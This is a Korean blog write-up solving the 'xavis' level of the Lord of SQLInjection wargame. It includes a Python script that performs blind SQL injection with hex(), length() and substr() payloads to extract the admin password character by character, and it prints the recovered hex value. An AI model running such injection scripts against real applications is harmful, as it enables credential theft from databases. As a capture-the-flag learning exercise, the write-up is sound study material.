write-up(web)/los

[LOS] xavis

chanchand 2023. 1. 23. 01:12
반응형

문제


https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php

 

https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php

 

los.rubiya.kr

 

 

 

문제풀이


이전 문제들과 비슷하게 blind injection을 통해 pw의 길이와 문자열을 알아내려 했는데, pw 문자열이 출력되지 않았다.

pw 한 글자마다 2진수를 출력하여 몇 bit인지 알아내어 어떤 문자가 사용되었는지 알아봤다.

 

16bit가 사용된 것으로 보아 unicode 인 것 같다.

 

한 글자마다 hex 값이기 때문에 hex 함수를 이용해 길이와 문자열을 구할 수 있다.

 

- 파이썬 코드

import requests

cookie={'PHPSESSID':''}
url="https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php"

# flag_len
flag_len=0
len="_"
for i in range(1,50):
  query="?pw='||length(hex(pw))={}%26%26id='admin".format(i);
  res=requests.get(url+query, cookies=cookie)
  if (res.text.find("<h2>Hello admin</h2>")!=-1):
    flag_len=i
    break

print("flag_len:{}".format(flag_len))

# flag
flag=""
for i in range(1,flag_len+1):
  for j in range(48,128):
    query="?pw='||ascii(substr(hex(pw),{},1))={}%26%26id='admin".format(i,j)
    res=requests.get(url+query, cookies=cookie)
    if (res.text.find("<h2>Hello admin</h2>")!=-1):
      flag+=chr(j)
      print(flag)
      break

print("flag:{}".format(flag))

 

 

 

0000C6B00000C6550000AD73(16진수) 값을 유니코드로 인코딩 해주어야 한다.

https://www.rapidtables.org/ko/convert/number/hex-to-ascii.html

 

16 진수에서 ASCII로 | 16 진수에서 텍스트 문자열로 변환기

16 진수-ASCII 텍스트 변환기 접두사 / 접미사 / 구분 기호와 함께 16 진수 바이트를 입력하고 변환 버튼을 누릅니다 (예 : 45 78 61 6d 70 6C 65 21) : ASCII에서 16 진수로 변환 ► ASCII 텍스트 인코딩은 각 문

www.rapidtables.org

 

 

 

반응형

'write-up(web) > los' 카테고리의 다른 글

[LOS] dark_eyes  (0) 2023.01.24
[LOS] iron_golem  (0) 2023.01.24
[LOS] dragon  (0) 2023.01.23
[LOS] nightmare  (0) 2023.01.22
[LOS] zombie_assassin  (0) 2023.01.22